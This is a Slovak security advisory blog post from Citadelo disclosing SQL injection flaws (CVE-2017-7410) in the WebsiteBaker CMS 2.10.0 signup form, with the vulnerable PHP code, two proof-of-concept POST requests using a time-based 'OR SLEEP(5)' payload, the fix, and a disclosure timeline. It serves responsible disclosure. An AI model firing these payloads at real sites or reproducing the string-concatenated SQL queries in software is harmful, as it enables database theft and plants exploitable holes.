WebsiteBaker-CMS

WebsiteBaker CMS 2.10.0

Možno aj vy ste využili možnosť vytvoriť si novú web stránku pomocou redakčného systému WebSiteBaker. V našom blogu sme vám spísali ako sme objavili bezpečnostnú chybu v tomto redakčnom systéme.

Úvod

WebsiteBaker 2.10.0 a nižšie verzie sú zraniteľné na chyby typu SQL injection.

O aplikácii

Website Baker je redakčný systém, je založený na programovacom jazyku PHP a databázovom systéme MySQL. Pomocou Website Bakera môžete mať internetovú prezentáciu bez znalosti programovania či HTML zručnosti. Použitie je veľmi jednoduché, perfektnú, profesionálnu webovú stránku, je možné vytvoriť v priebehu niekoľkých hodín. (Zdroj: wikipedia)

Podrobnosti

Neautentifikovaný používateľ môže vkladať SQL dopyty do premenných “username” a “display_name” v PHP skripte “account/signup.php” (registračný formulár). Táto zraniteľnosť existuje z dôvodu nedostatočnej filtrácii používateľom dodaných dát. Zneužitím týchto zraniteľností útočník získa prístup ku všetkým záznamom, ktoré sú uložené v databáze s právami databázového užívateľa WebsiteBaker (Zahešované administrátorske heslo vo formáte MD5).

Zraniteľný kód:

account/signup2.php

40 $username = strtolower(strip_tags($wb-&gt;get_post('username'))); &lt;-- <strong>vstup od užívateľa</strong>
41 $display_name = strip_tags($wb-&gt;get_post('display_name')); &lt;-- <strong>vstup od užívateľa</strong>
...
50 // Check if username already exists
51 $sql = 'SELECT `user_id` FROM `'.TABLE_PREFIX.'users` WHERE `username` = \''.$username.'\''; &lt;-- <strong>SQL injection č.1</strong>
52 if ($database-&gt;get_one($sql)) {
53     $error[] = $MESSAGE['USERS_USERNAME_TAKEN']."\n";
54 }
55 if(!preg_match('/^[a-z]{1}[a-z0-9_-]{2,}$/i', $username)) {
56    $error[] =  $MESSAGE['USERS_NAME_INVALID_CHARS']."\n";
57 }
58 $sql  = 'SELECT COUNT(*) FROM `'.TABLE_PREFIX.'users` ';
59 $sql .= 'WHERE  `display_name` LIKE \''.$display_name.'\''; &lt;-- <strong>SQL injection č.2</strong>
60 if ($database-&gt;get_one($sql) &gt; 0) {
61     $error[] = $MESSAGE['USERS_DISPLAYNAME_TAKEN'].'';

POST parametre “username” (riadok 40) a “display_name” (riadok 41) sa používajú bez dostatočnej vstupnej validácie vo funkcií “get_one”, ktorá sa používa na SQL dopyt. SQL dopyty nepoužívajú takzvané “prepared statements”.

framework/class.database.php

102    // Gets the first column of the first row
103    function get_one( $statement )
104    {
105        $fetch_row = mysqli_fetch_array(mysqli_query($this-&gt;db_handle, $statement) );
106        $result = $fetch_row[0];
107        $this-&gt;set_error(null);
108        if(mysqli_error($this-&gt;db_handle)) {
109            $this-&gt;set_error(mysqli_error($this-&gt;db_handle));
110            return null;
111        } else {
112            return $result;
113        }
114    }

.

Proof of concept

SQL Injection č.1: parameter username

Payload: sql’ OR SLEEP(5)–

POST /account/signup.php HTTP/1.1
Host: localhost
Cookie: wb-5016-sid=7e753a5q6lpfp8fh24ppo9vm70
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 184

action=send&amp;redirect=http%3A%2F%2Flocalhost&amp;submitted_when=1490134734&amp;email-address=&amp;name=&amp;full_name=&amp;<strong>username=sql' OR SLEEP(5)-- </strong>&amp;display_name=test&amp;email=test&amp;captcha=&amp;submit=Sign-up

Odpoveď bude mať oneskorenie 5 sekúnd.

SQL Injection č.2: parameter display_name

Payload: sql’ OR SLEEP(5)–

POST /account/signup.php HTTP/1.1
Host: localhost
Cookie: wb-5016-sid=7e753a5q6lpfp8fh24ppo9vm70
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 184

action=send&amp;redirect=http%3A%2F%2Flocalhost&amp;submitted_when=1490134833&amp;email-address=&amp;name=&amp;full_name=&amp;username=test&amp;<strong>display_name=sql' OR SLEEP(5)--</strong> &amp;email=test&amp;captcha=&amp;submit=Sign-up

Odpoveď bude mať oneskorenie 5 sekúnd.

Riešenie

Aktualizujte WebsiteBaker na verziu 2.10.1 alebo na novšiu verziu.

Časová os nahlásenia zraniteľností

24.03.2017 Dodávateľ bol informovaný o zraniteľnostiach

25.03.2017 Dodávateľ potvrdil zraniteľnosti a vydal opravu

03.04.2017 Pridelené CVE

07.04.2017 Zverejnené detaily

Kredit

Tieto chyby objavil Marek Alakša zo spoločnosti Citadelo.

Odkazy

  1. www.citadelo.com/en/websitebaker-cms-2-10-0-multiple-sql-injection-vulnerabilities
  2. http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-7410
  3. websitebaker.org
  4. http://project.websitebaker.org/issues/39
  5. http://forum.websitebaker.org/index.php/topic,30187.0.html

O autorovi

Citadelo
Citadelo je dom plný etických hackerov na vašej strane. Pomáhame otestovať ich informačnú bezpečnosť. Podrobte svoje IT prostredie výzve a odhaľte, do akej miery sú vaše citlivé dáta chránené.
Zobraziť viac od autora

Podobné blogy

Citadelo Security Evening - jar 2018

blog | | Michaela Gallee
Bizarné úniky firemných dát alebo ako si uchovať svoju virtuálnu peňaženku alebo ako sa uchrániť pred fenoménom "Black Swan". To sú témy prednášok, ktoré odzneli na Citadelo Security Evening (CSE), ktorý sa konal vo štvrtok 26.4.2018 u nás v Citadelo.
Zobraziť

Počítačová kriminalita – sme často obeťami hackerských útokov?

blog |
Už dávno neplatí, že v ohrození sú len medzinárodné spoločnosti alebo tí, čo disponujú hodnotným majetkom. Zločinci si pri útoku cez internet len málokedy vyberajú jednotlivcov - ich terčom sú masy.
Zobraziť

Bezpečnosť na internete - Viete sa správať v online priestore bezpečne?

blog |
Priemerný človek strávi na internete každý deň 3 hodiny a 20 minút. Okrem užitočných informácií a zábavy ale na nás čaká v online svete aj veľké množstvo hrozieb.
Zobraziť

Citadelo na novom a ešte bezpečnejšom webe

Blog | | Michaela Gallee
Naša požiadavka na bezpečný web sa môže niekomu zdať prehnaná, nie sme predsa svetová banka. To však nič nemení na tom, že našou víziou je bezpečný internet a preto naša priorita bola kladená na bezpečnosť.
Zobraziť